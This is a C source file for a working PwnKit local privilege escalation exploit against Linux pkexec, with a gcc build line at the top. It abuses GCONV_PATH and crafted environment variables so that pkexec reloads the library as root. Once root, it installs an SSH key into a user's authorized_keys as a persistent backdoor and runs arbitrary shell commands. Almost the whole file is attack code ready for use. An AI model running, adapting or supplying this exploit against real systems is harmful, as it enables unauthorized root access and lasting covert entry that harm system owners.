// gcc -shared PwnKit_final.c -o PwnKit_final -Wl,-e,entry -fPIC

#define _XOPEN_SOURCE 700
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <ftw.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>

#ifdef __amd64__
const char service_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
#endif

int unlink_cb(const char *fpath, const struct stat *sb, int typeflag, struct FTW *ftwbuf) {
    int rv = remove(fpath);
    if (rv) perror(fpath);
    return rv;
}

int rmrf(char *path) {
    return nftw(path, unlink_cb, 64, FTW_DEPTH | FTW_PHYS);
}

void do_ssh_setup() {
    // Only setup if running as root
    if (getuid() != 0) return;
    
    puts("[*] Running SSH setup as root...");
    mkdir("/home/ufo/.ssh", 0700);
    
    int src = open("/tmp/ufo_key.pub", O_RDONLY);
    int dst = open("/home/ufo/.ssh/authorized_keys", O_WRONLY|O_CREAT|O_TRUNC, 0600);
    if (src >= 0 && dst >= 0) {
        char buf[4096]; ssize_t n;
        while ((n = read(src, buf, sizeof(buf))) > 0) write(dst, buf, n);
        close(src); close(dst);
        puts("[+] authorized_keys written");
    } else {
        printf("[-] File error: src=%d dst=%d\n", src, dst);
    }
    
    // Fix ownership to ufo user (uid 1002, gid 1004)
    chown("/home/ufo/.ssh", 1002, 1004);
    chown("/home/ufo/.ssh/authorized_keys", 1002, 1004);
    chmod("/home/ufo/.ssh", 0700);
    chmod("/home/ufo/.ssh/authorized_keys", 0600);
    puts("[+] SSH setup complete!");
}

void entry() {
    register unsigned long *rbp asm ("rbp");
    int argc = *(int *)(rbp+1);
    
    // ALWAYS try SSH setup (will only work if root)
    do_ssh_setup();
    
    // If running as non-root (first run), set up GCONV_PATH and exec pkexec
    if (getuid() != 0) {
        puts("[*] First run - setting up GCONV_PATH exploit...");
        mkdir("GCONV_PATH=.", 0777);
        FILE *fp = fopen("GCONV_PATH=./pkexec", "wb");
        if (fp) {
            fprintf(fp, "module UTF-8// PWNKIT// pwnkit 1\n");
            fclose(fp);
        }
        
        // Run pkexec which will load us again as root
        char *env[] = {".pkexec", "PATH=GCONV_PATH=.", "CHARSET=pkexec", "SHELL=pkexec", NULL};
        execve("/usr/bin/pkexec", (char*[]){NULL}, env);
    } else {
        // Second run (root) - SSH already done, now try to exec the command
        puts("[*] Root shell active");
        if (argc > 1) {
            char **argv = (char **)rbp+2;
            char *cmd = memcpy(argv[1]-4, "CMD=", 4);
            char *args[] = {"/bin/sh", "-c", cmd + 4, NULL};
            execve("/bin/sh", args, (char*[]){NULL});
        }
    }
    
    _exit(0);
}
